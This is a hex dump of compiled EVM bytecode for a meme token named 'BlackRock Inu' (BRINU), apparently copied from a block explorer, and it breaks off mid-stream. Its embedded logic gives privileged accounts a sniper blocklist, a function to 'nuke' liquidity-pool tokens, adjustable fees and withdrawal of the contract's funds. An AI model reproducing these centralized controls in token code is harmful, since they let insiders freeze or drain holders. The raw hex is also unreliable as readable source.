97c578063dd62ed3e1461099c57600080fd5b806395d89b411161017a578063a9059cbb11610149578063a9059cbb146108ed578063b37dd6901461090d578063b46300ec14610927578063b6a5d7de1461093c57600080fd5b806395d89b411461086957806398118cb414610897578063a820a64f146108ad578063a8aa1b31146108cd57600080fd5b806386f6c3c1116101b657806386f6c3c1146107e2578063893d20e8146108025780638a8c523c146108345780638c658a291461084957600080fd5b80637d1db4a51461078c57806382bf293c146107a257806383f9d9fa146107c257600080fd5b80632b112e49116102c15780636827e7641161025f57806370a082311161022e57806370a082311461070657806377b54bad1461073c57806378109e541461075c5780637bdb66831461077257600080fd5b80636827e764146106895780636b67c4df1461069f5780636ddd1713146106b55780637007546b146106d657600080fd5b80633b2d081c1161029b5780633b2d081c14610613578063570636dc14610629578063571ac8b014610649578063658d4b7f1461066957600080fd5b80632b112e49146105b35780632f54bf6e146105c8578063313ce567146105f757600080fd5b80631161ae39116103395780631da1db5e116103085780631da1db5e1461053d5780631df4ccfc1461055d578063201e79911461057357806323b872dd1461059357600080fd5b80631161ae39146104d2578063180b0d7e146104f257806318160ddd1461050857806318abb6351461051d57600080fd5b806306fdde031161037557806306fdde031461043257806308fd3d0514610471578063095ea7b3146104925780630a0a4189146104b257600080fd5b80630445b667146103a757806304e1a23f146103d0578063054557ea1461041057600080fd5b366103a257005b600080fd5b3480156103b357600080fd5b506103bd60225481565b6040519081526020015b60405180910390f35b3480156103dc57600080fd5b506104006103eb36600461245b565b600b6020526000908152604090205460ff1681565b60405190151581526020016103c7565b34801561041c57600080fd5b5061043061042b366004612486565b610b4e565b005b34801561043e57600080fd5b5060408051808201909152600d81526c426c61636b526f636b20496e7560981b60208201525b6040516103c7919061250c565b34801561047d57600080fd5b5060215461040090600160a01b900460ff1681565b34801561049e57600080fd5b506104006104ad366004612561565b610bf6565b3480156104be57600080fd5b506104006104cd36600461258d565b610c63565b3480156104de57600080fd5b506104006104ed3660046125a6565b610e1e565b3480156104fe57600080fd5b506103bd60165481565b34801561051457600080fd5b506005546103bd565b34801561052957600080fd5b506104306105383660046125c8565b610e32565b34801561054957600080fd5b5061043061055836600461258d565b610eb6565b34801561056957600080fd5b506103bd60155481565b34801561057f57600080fd5b5061043061058e3660046125a6565b610f23565b34801561059f57600080fd5b506104006105ae366004612639565b610f53565b3480156105bf57600080fd5b506103bd611015565b3480156105d457600080fd5b506104006105e336600461245b565b6000546001600160a01b0391821691161490565b34801561060357600080fd5b50604051600981526020016103c7565b34801561061f57600080fd5b506103bd60135481565b34801561063557600080fd5b5061043061064436600461258d565b611067565b34801561065557600080fd5b5061040061066436600461245b565b6110d0565b34801561067557600080fd5b5061043061068436600461267a565b6110de565b34801561069557600080fd5b506103bd60125481565b3480156106ab57600080fd5b506103bd60115481565b3480156106c157600080fd5b5060215461040090600160a81b900460ff1681565b3480156106e257600080fd5b506104006106f136600461245b565b600d6020526000908152604090205460ff1681565b34801561071257600080fd5b506103bd61072136600461245b565b6001600160a01b031660009081526008602052604090205490565b34801561074857600080fd5b50610400610757366004612561565b61112e565b34801561076857600080fd5b506103bd60075481565b34801561077e57600080fd5b50600a546104009060ff1681565b34801561079857600080fd5b506103bd60065481565b3480156107ae57600080fd5b506104306107bd36600461258d565b61123d565b3480156107ce57600080fd5b506104306107dd36600461258d565b6112a6565b3480156107ee57600080fd5b506104306107fd3660046126b3565b6112ee565b34801561080e57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103c7565b34801561084057600080fd5b506104306113af565b34801561085557600080fd5b50610430610864366004612486565b6113ee565b34801561087557600080fd5b506040805180820190915260058152644252494e5560d81b6020820152610464565b3480156108a357600080fd5b506103bd60105481565b3480156108b957600080fd5b506104306108c83660046126f6565b611482565b3480156108d957600080fd5b5060215461081c906001600160a01b031681565b3480156108f957600080fd5b50610400610908366004612561565b6114bf565b34801561091957600080fd5b50600c546104009060ff1681565b34801561093357600080fd5b506104306114cc565b34801561094857600080fd5b5061043061095736600461245b565b611517565b34801561096857600080fd5b5060185461081c906001600160a01b031681565b34801561098857600080fd5b506103bd61099736600461258d565b611568565b3480156109a857600080fd5b506103bd6109b7366004612713565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156109ee57600080fd5b506104306109fd366004612741565b6115a9565b348015610a0e57600080fd5b50601c5461081c906001600160a01b031681565b348015610a2e57600080fd5b5060195461081c906001600160a01b031681565b348015610a4e57600080fd5b50610430610a5d3660046126f6565b6115f0565b348015610a6e57600080fd5b50610430610a7d36600461258d565b61162d565b348015610a8e57600080fd5b50610430610a9d36600461245b565b611657565b348015610aae57600080fd5b50610430610abd36600461245b565b6116a2565b348015610ace57600080fd5b50610430610add36600461267a565b611738565b348015610aee57600080fd5b50601f5461081c906001600160a01b031681565b348015610b0e57600080fd5b506103bd60145481565b348015610b2457600080fd5b50610400610b3336600461245b565b611788565b348015610b4457600080fd5b506103bd60175481565b6000546001600160a01b03163314610b815760405162461bcd60e51b8152600401610b789061275f565b60405180910390fd5b60005b82811015610bf05781600d6000868685818110610ba357610ba361277f565b9050602002016020810190610bb8919061245b565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610be9816127ab565b9050610b84565b50505050565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c519086815260200190565b60405180910390a35060015b92915050565b600080546001600160a01b03163314610c8e5760405162461bcd60e51b8152600401610b789061275f565b6103e8821115610cf35760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610b78565b6021546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6291906127c4565b90506000610d7c612710610d7684876117a6565b90611828565b90508015610e1457602154600354610da1916001600160a01b0390811691168361186a565b50602060009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610df257600080fd5b505af1158015610e06573d6000803e3d6000fd5b506001979650505050505050565b5060009392505050565b600082610e2a83611568565b119392505050565b610e3b33611788565b610e575760405162461bcd60e51b8152600401610b78906127dd565b601880546001600160a01b03199081166001600160a01b039788161790915560198054821695871695909517909455601a8054851693861693909317909255601c80548416918516919091179055601b80549092169216919091179055565b610ebf33611788565b610edb5760405162461bcd60e51b8152600401610b78906127dd565b47336108fc6064610eec8585612802565b610ef69190612821565b6040518115909202916000818181858888f19350505050158015610f1e573d6000803e3d6000fd5b505050565b610f2c33611788565b610f485760405162461bcd60e51b8152600401610b78906127dd565b601d91909155601e55565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914611000576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054610fdb91849061193e565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b61100b848484611978565b90505b9392505050565b6004546001600160a01b0316600090815260086020526040812054611062906003546001600160a01b031660009081526008602052604090205461105c9060055490611d3b565b90611d3b565b905090565b6000546001600160a01b031633146110915760405162461bcd60e51b8152600401610b789061275f565b6103e86005546110a19190612821565b60065410156110af57600080fd5b6103e8816005546110c09190612802565b6110ca9190612821565b60065550565b6000610c5d82600019610bf6565b6110e733611788565b6111035760405162461bcd60e51b8152600401610b78906127dd565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b600080546001600160a01b031633146111595760405162461bcd60e51b8152600401610b789061275f565b816000036111cc576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156111a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c991906127c4565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015611219573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100e9190612843565b6000546001600160a01b031633146112675760405162461bcd60e51b8152600401610b789061275f565b6103e86005546112779190612821565b600754101561128557600080fd5b6103e8816005546112969190612802565b6112a09190612821565b60075550565b6112af33611788565b6112cb5760405162461bcd60e51b8152600401610b78906127dd565b6103e86005546112db9190612821565b60065410156112e957600080fd5b600655565b6112f733611788565b6113135760405162461bcd60e51b8152600401610b78906127dd565b601086905560138590556011849055601283905560148290556113448261133e858188818c8c611d7d565b90611d7d565b6015556016819055611357600282612821565b601554106113a75760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e20353025000000006044820152606401610b78565b505050505050565b6000546001600160a01b031633146113d95760405162461bcd60e51b8152600401610b789061275f565b6021805460ff60a01b1916600160a01b179055565b6113f733611788565b6114135760405162461bcd60e51b8152600401610b78906127dd565b60005b82811015610bf05781600b60008686858181106114355761143561277f565b905060200201602081019061144a919061245b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561147b816127ab565b9050611416565b6000546001600160a01b031633146114ac5760405162461bcd60e51b8152600401610b789061275f565b600a805460ff1916911515919091179055565b600061100e338484611978565b336000908152600d602052604090205460ff166114e857600080fd5b60405133904780156108fc02916000818181858888f19350505050158015611514573d6000803e3d6000fd5b50565b6000546001600160a01b031633146115415760405162461bcd60e51b8152600401610b789061275f565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000610c5d611575611015565b6021546001600160a01b0316600090815260086020526040902054610d76906115a2906002905b906117a6565b85906117a6565b6115b233611788565b6115ce5760405162461bcd60e51b8152600401610b78906127dd565b60218054921515600160a81b0260ff60a81b1990931692909217909155602255565b6000546001600160a01b0316331461161a5760405162461bcd60e51b8152600401610b789061275f565b600c805460ff1916911515919091179055565b61163633611788565b6116525760405162461bcd60e51b8152600401610b78906127dd565b601755565b6000546001600160a01b031633146116815760405162461bcd60e51b8152600401610b789061275f565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b031633146116cc5760405162461bcd60e51b8152600401610b789061275f565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b61174133611788565b61175d5760405162461bcd60e51b8152600401610b78906127dd565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526001602052604090205460ff1690565b6000826000036117b857506000610c5d565b60006117c48385612802565b9050826117d18583612821565b1461100e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b78565b600061100e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ddc565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526008909152918220546118bb91849061193e565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546118ea9083611d7d565b6001600160a01b03808516600081815260086020526040908190209390935591519086169060008051602061292f8339815191529061192c9086815260200190565b60405180910390a35060019392505050565b600081848411156119625760405162461bcd60e51b8152600401610b78919061250c565b50600061196f8486612860565b95945050505050565b60235460009060ff16156119985761199184848461186a565b905061100e565b6001600160a01b03841660009081526001602052604090205460ff161580156119da57506001600160a01b03831660009081526001602052604090205460ff16155b15611a2f57602154600160a01b900460ff16611a2f5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610b78565b600a5460ff1615611a8e576001600160a01b0384166000908152600b602052604090205460ff1615611a8e5760405162461bcd60e51b81526020600482015260086024820152671cdb9a5c195c995960c21b6044820152606401610b78565b6001600160a01b03841660009081526001602052604090205460ff16158015611ac057506001600160a01b0383163014155b8015611ada57506003546001600160a01b03848116911614155b8015611af457506021546001600160a01b03848116911614155b8015611b0e5750601c546001600160a01b03848116911614155b8015611b3357506001600160a01b0383166000908152600f602052604090205460ff16155b15611bd4576001600160a01b038316600090815260086020526040902054600754611b5e8483612877565b1115611bd25760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e00006064820152608401610b78565b505b611bde8483611e0a565b611be6611e77565b15611bf357611bf3611ecd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260089091529190912054611c4591849061193e565b6001600160a01b038516600090815260086020908152604080832093909355600e90529081205460ff16151580611c9657506001600160a01b0384166000908152600e602052604090205460ff1615155b611cbe57602154611cb990869085906001600160a01b03888116911614876122b4565b611cc0565b825b6001600160a01b038516600090815260086020526040902054909150611ce69082611d7d565b6001600160a01b03808616600081815260086020526040908190209390935591519087169060008051602061292f83398151915290611d289085815260200190565b60405180910390a3506001949350505050565b600061100e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061193e565b600080611d8a8385612877565b90508381101561100e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b78565b60008183611dfd5760405162461bcd60e51b8152600401610b78919061250c565b50600061196f8486612821565b60065481111580611e3357506001600160a01b0382166000908152600f602052604090205460ff165b611e735760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610b78565b5050565b6021546000906001600160a01b03163314801590611e98575060235460ff16155b8015611ead5750602154600160a81b900460ff165b801561106257505060225430600090815260086020526040902054101590565b6023805460ff19166001179055601d54601e54600091611eec91610e1e565b611ef857601054611efb565b60005b90506000611f1f6002610d76601554610d76866022546117a690919063ffffffff16565b90506000611f3882602254611d3b90919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611f7257611f7261277f565b6001600160a01b039283166020918202929092010152600254825191169082906001908110611fa357611fa361277f565b6001600160a01b039283166020918202929092010152601f5460405163791ac94760e01b81524792919091169063791ac94790611fed90869060009087903090429060040161288f565b600060405180830381600087803b15801561200757600080fd5b505af115801561201b573d6000803e3d6000fd5b5050505060006120348247611d3b90919063ffffffff16565b9050600061204f612046886002611828565b60155490611d3b565b905060006120646002610d768481878d6117a6565b9050600061208183610d76601154876117a690919063ffffffff16565b9050600061209e84610d76601354886117a690919063ffffffff16565b905060006120bb85610d76601254896117a690919063ffffffff16565b6019546040519192506000916001600160a01b039091169085908381818185875af1925050503d806000811461210d576040519150601f19603f3d011682016040523d82523d6000602084013e612112565b606091505b5050601a546040519192506001600160a01b0316908390600081818185875af1925050503d8060008114612162576040519150601f19603f3d011682016040523d82523d6000602084013e612167565b606091505b5050601b546040519192506001600160a01b0316908490600081818185875af1925050503d80600081146121b7576040519150601f19603f3d011682016040523d82523d6000602084013e6121bc565b606091505b5060009250508b15905061229c57601f5460185460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af115801561223a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061225f9190612900565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506023805460ff1916905550505050505050505050565b600080836122c35760646122c7565b6017545b600c5490915060ff1680156122f557506001600160a01b0383166000908152600d602052604090205460ff16155b80156122ff575083155b1561230957506107085b6000612336601654606461231d9190612802565b610d768461159c6015548b6117a690919063ffffffff16565b90506000612355601554610d76601454856117a690919063ffffffff16565b905060006123638383611d3b565b306000908152600860205260409020549091506123809082611d7d565b3060009081526008602052604080822092909255601c546001600160a01b0316815220546123ae9083611d7d565b601c546001600160a01b0390811660009081526008602090815260409182902093909355518381523092918c169160008051602061292f833981519152910160405180910390a3811561242f57601c546040518381526001600160a01b03918216918b169060008051602061292f8339815191529060200160405180910390a35b6124398884611d3b565b9998505050505050505050565b6001600160a01b038116811461151457600080fd5b60006020828403121561246d57600080fd5b813561100e81612446565b801515811461151457600080fd5b60008060006040848603121561249b57600080fd5b833567ffffffffffffffff808211156124b357600080fd5b818601915086601f8301126124c757600080fd5b8135818111156124d657600080fd5b8760208260051b85010111156124eb57600080fd5b6020928301955093505084013561250181612478565b809150509250925092565b600060208083528351808285015260005b818110156125395785810183015185820160400152820161251d565b8181111561254b576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561257457600080fd5b823561257f81612446565b946020939093013593505050565b60006020828403121561259f57600080fd5b5035919050565b600080604083850312156125b957600080fd5b50508035926020909101359150565b600080600080600060a086880312156125e057600080fd5b85356125eb81612446565b945060208601356125fb81612446565b9350604086013561260b81612446565b9250606086013561261b81612446565b9150608086013561262b81612446565b809150509295509295909350565b60008060006060848603121561264e57600080fd5b833561265981612446565b9250602084013561266981612446565b929592945050506040919091013590565b6000806040838503121561268d57600080fd5b823561269881612446565b915060208301356126a881612478565b809150509250929050565b60008060008060008060c087890312156126cc57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60006020828403121561270857600080fd5b813561100e81612478565b6000806040838503121561272657600080fd5b823561273181612446565b915060208301356126a881612446565b6000806040838503121561275457600080fd5b823561257f81612478565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016127bd576127bd612795565b5060010190565b6000602082840312156127d657600080fd5b5051919050565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b600081600019048311821515161561281c5761281c612795565b500290565b60008261283e57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561285557600080fd5b815161100e81612478565b60008282101561287257612872612795565b500390565b6000821982111561288a5761288a612795565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128df5784516001600160a01b0316835293830193918301916001016128ba565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561291557600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202086cf325d19eb562dd3a5a7a3b28532d2230f81c08fa66168fdf6e7a9fb34c364736f6c634300080d0033

Deployed Bytecode

0x60806040526004361061039b5760003560e01c80637d1db4a5116101dc578063ca33e64c11610102578063ec72d65f116100a0578063f887ea401161006f578063f887ea4014610ae2578063fce589d814610b02578063fe9fbb8014610b18578063fed0d2a114610b3857600080fd5b8063ec72d65f14610a62578063f0b37c0414610a82578063f2fde38b14610aa2578063f84ba65d14610ac257600080fd5b8063df20fd49116100dc578063df20fd49146109e2578063e3763ded14610a02578063e96fada214610a22578063eb969b0514610a4257600080fd5b8063ca33e64c1461095c578063d51ed1c81461097c578063dd62ed3e1461099c57600080fd5b806395d89b411161017a578063a9059cbb11610149578063a9059cbb146108ed578063b37dd6901461090d578063b46300ec14610927578063b6a5d7de1461093c57600080fd5b806395d89b411461086957806398118cb414610897578063a820a64f146108ad578063a8aa1b31146108cd57600080fd5b806386f6c3c1116101b657806386f6c3c1146107e2578063893d20e8146108025780638a8c523c146108345780638c658a291461084957600080fd5b80637d1db4a51461078c57806382bf293c146107a257806383f9d9fa146107c257600080fd5b80632b112e49116102c15780636827e7641161025f57806370a082311161022e57806370a082311461070657806377b54bad1461073c57806378109e541461075c5780637bdb66831461077257600080fd5b80636827e764146106895780636b67c4df1461069f5780636ddd1713146106b55780637007546b146106d657600080fd5b80633b2d081c1161029b5780633b2d081c14610613578063570636dc14610629578063571ac8b014610649578063658d4b7f1461066957600080fd5b80632b112e49146105b35780632f54bf6e146105c8578063313ce567146105f757600080fd5b80631161ae39116103395780631da1db5e116103085780631da1db5e1461053d5780631df4ccfc1461055d578063201e79911461057357806323b872dd1461059357600080fd5b80631161ae39146104d2578063180b0d7e146104f257806318160ddd1461050857806318abb6351461051d57600080fd5b806306fdde031161037557806306fdde031461043257806308fd3d0514610471578063095ea7b3146104925780630a0a4189146104b257600080fd5b80630445b667146103a757806304e1a23f146103d0578063054557ea1461041057600080fd5b366103a257005b600080fd5b3480156103b357600080fd5b506103bd60225481565b6040519081526020015b60405180910390f35b3480156103dc57600080fd5b506104006103eb36600461245b565b600b6020526000908152604090205460ff1681565b60405190151581526020016103c7565b34801561041c57600080fd5b5061043061042b366004612486565b610b4e565b005b34801561043e57600080fd5b5060408051808201909152600d81526c426c61636b526f636b20496e7560981b60208201525b6040516103c7919061250c565b34801561047d57600080fd5b5060215461040090600160a01b900460ff1681565b34801561049e57600080fd5b506104006104ad366004612561565b610bf6565b3480156104be57600080fd5b506104006104cd36600461258d565b610c63565b3480156104de57600080fd5b506104006104ed3660046125a6565b610e1e565b3480156104fe57600080fd5b506103bd60165481565b34801561051457600080fd5b506005546103bd565b34801561052957600080fd5b506104306105383660046125c8565b610e32565b34801561054957600080fd5b5061043061055836600461258d565b610eb6565b34801561056957600080fd5b506103bd60155481565b34801561057f57600080fd5b5061043061058e3660046125a6565b610f23565b34801561059f57600080fd5b506104006105ae366004612639565b610f53565b3480156105bf57600080fd5b506103bd611015565b3480156105d457600080fd5b506104006105e336600461245b565b6000546001600160a01b0391821691161490565b34801561060357600080fd5b50604051600981526020016103c7565b34801561061f57600080fd5b506103bd60135481565b34801561063557600080fd5b5061043061064436600461258d565b611067565b34801561065557600080fd5b5061040061066436600461245b565b6110d0565b34801561067557600080fd5b5061043061068436600461267a565b6110de565b34801561069557600080fd5b506103bd60125481565b3480156106ab57600080fd5b506103bd60115481565b3480156106c157600080fd5b5060215461040090600160a81b900460ff1681565b3480156106e257600080fd5b506104006106f136600461245b565b600d6020526000908152604090205460ff1681565b34801561071257600080fd5b506103bd61072136600461245b565b6001600160a01b031660009081526008602052604090205490565b34801561074857600080fd5b50610400610757366004612561565b61112e565b34801561076857600080fd5b506103bd60075481565b34801561077e57600080fd5b50600a546104009060ff1681565b34801561079857600080fd5b506103bd60065481565b3480156107ae57600080fd5b506104306107bd36600461258d565b61123d565b3480156107ce57600080fd5b506104306107dd36600461258d565b6112a6565b3480156107ee57600080fd5b506104306107fd3660046126b3565b6112ee565b34801561080e57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103c7565b34801561084057600080fd5b506104306113af565b34801561085557600080fd5b50610430610864366004612486565b6113ee565b34801561087557600080fd5b506040805180820190915260058152644252494e5560d81b6020820152610464565b3480156108a357600080fd5b506103bd60105481565b3480156108b957600080fd5b506104306108c83660046126f6565b611482565b3480156108d957600080fd5b5060215461081c906001600160a01b031681565b3480156108f957600080fd5b50610400610908366004612561565b6114bf565b34801561091957600080fd5b50600c546104009060ff1681565b34801561093357600080fd5b506104306114cc565b34801561094857600080fd5b5061043061095736600461245b565b611517565b34801561096857600080fd5b5060185461081c906001600160a01b031681565b34801561098857600080fd5b506103bd61099736600461258d565b611568565b3480156109a857600080fd5b506103bd6109b7366004612713565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156109ee57600080fd5b506104306109fd366004612741565b6115a9565b348015610a0e57600080fd5b50601c5461081c906001600160a01b031681565b348015610a2e57600080fd5b5060195461081c906001600160a01b031681565b348015610a4e57600080fd5b50610430610a5d3660046126f6565b6115f0565b348015610a6e57600080fd5b50610430610a7d36600461258d565b61162d565b348015610a8e57600080fd5b50610430610a9d36600461245b565b611657565b348015610aae57600080fd5b50610430610abd36600461245b565b6116a2565b348015610ace57600080fd5b50610430610add36600461267a565b611738565b348015610aee57600080fd5b50601f5461081c906001600160a01b031681565b348015610b0e57600080fd5b506103bd60145481565b348015610b2457600080fd5b50610400610b3336600461245b565b611788565b348015610b4457600080fd5b506103bd60175481565b6000546001600160a01b03163314610b815760405162461bcd60e51b8152600401610b789061275f565b60405180910390fd5b60005b82811015610bf05781600d6000868685818110610ba357610ba361277f565b9050602002016020810190610bb8919061245b565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610be9816127ab565b9050610b84565b50505050565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c519086815260200190565b60405180910390a35060015b92915050565b600080546001600160a01b03163314610c8e5760405162461bcd60e51b8152600401610b789061275f565b6103e8821115610cf35760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610b78565b6021546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6291906127c4565b90506000610d7c612710610d7684876117a6565b90611828565b90508015610e1457602154600354610da1916001600160a01b0390811691168361186a565b50602060009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610df257600080fd5b505af1158015610e06573d6000803e3d6000fd5b506001979650505050505050565b5060009392505050565b600082610e2a83611568565b119392505050565b610e3b33611788565b610e575760405162461bcd60e51b8152600401610b78906127dd565b601880546001600160a01b03199081166001600160a01b039788161790915560198054821695871695909517909455601a8054851693861693909317909255601c80548416918516919091179055601b80549092169216919091179055565b610ebf33611788565b610edb5760405162461bcd60e51b8152600401610b78906127dd565b47336108fc6064610eec8585612802565b610ef69190612821565b6040518115909202916000818181858888f19350505050158015610f1e573d6000803e3d6000fd5b505050565b610f2c33611788565b610f485760405162461bcd60e51b8152600401610b78906127dd565b601d91909155601e55565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914611000576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054610fdb91849061193e565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b61100b848484611978565b90505b9392505050565b6004546001600160a01b0316600090815260086020526040812054611062906003546001600160a01b031660009081526008602052604090205461105c9060055490611d3b565b90611d3b565b905090565b6000546001600160a01b031633146110915760405162461bcd60e51b8152600401610b789061275f565b6103e86005546110a19190612821565b60065410156110af57600080fd5b6103e8816005546110c09190612802565b6110ca9190612821565b60065550565b6000610c5d82600019610bf6565b6110e733611788565b6111035760405162461bcd60e51b8152600401610b78906127dd565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b600080546001600160a01b031633146111595760405162461bcd60e51b8152600401610b789061275f565b816000036111cc576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156111a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c991906127c4565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015611219573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100e9190612843565b6000546001600160a01b031633146112675760405162461bcd60e51b8152600401610b789061275f565b6103e86005546112779190612821565b600754101561128557600080fd5b6103e8816005546112969190612802565b6112a09190612821565b60075550565b6112af33611788565b6112cb5760405162461bcd60e51b8152600401610b78906127dd565b6103e86005546112db9190612821565b60065410156112e957600080fd5b600655565b6112f733611788565b6113135760405162461bcd60e51b8152600401610b78906127dd565b601086905560138590556011849055601283905560148290556113448261133e858188818c8c611d7d565b90611d7d565b6015556016819055611357600282612821565b601554106113a75760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e20353025000000006044820152606401610b78565b505050505050565b6000546001600160a01b031633146113d95760405162461bcd60e51b8152600401610b789061275f565b6021805460ff60a01b1916600160a01b179055565b6113f733611788565b6114135760405162461bcd60e51b8152600401610b78906127dd565b60005b82811015610bf05781600b60008686858181106114355761143561277f565b905060200201602081019061144a919061245b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561147b816127ab565b9050611416565b6000546001600160a01b031633146114ac5760405162461bcd60e51b8152600401610b789061275f565b600a805460ff1916911515919091179055565b600061100e338484611978565b336000908152600d602052604090205460ff166114e857600080fd5b60405133904780156108fc02916000818181858888f19350505050158015611514573d6000803e3d6000fd5b50565b6000546001600160a01b031633146115415760405162461bcd60e51b8152600401610b789061275f565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000610c5d611575611015565b6021546001600160a01b0316600090815260086020526040902054610d76906115a2906002905b906117a6565b85906117a6565b6115b233611788565b6115ce5760405162461bcd60e51b8152600401610b78906127dd565b60218054921515600160a81b0260ff60a81b1990931692909217909155602255565b6000546001600160a01b0316331461161a5760405162461bcd60e51b8152600401610b789061275f565b600c805460ff1916911515919091179055565b61163633611788565b6116525760405162461bcd60e51b8152600401610b78906127dd565b601755565b6000546001600160a01b031633146116815760405162461bcd60e51b8152600401610b789061275f565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b031633146116cc5760405162461bcd60e51b8152600401610b789061275f565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b61174133611788565b61175d5760405162461bcd60e51b8152600401610b78906127dd565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526001602052604090205460ff1690565b6000826000036117b857506000610c5d565b60006117c48385612802565b9050826117d18583612821565b1461100e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b78565b600061100e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ddc565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526008909152918220546118bb91849061193e565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546118ea9083611d7d565b6001600160a01b03808516600081815260086020526040908190209390935591519086169060008051602061292f8339815191529061192c9086815260200190565b60405180910390a35060019392505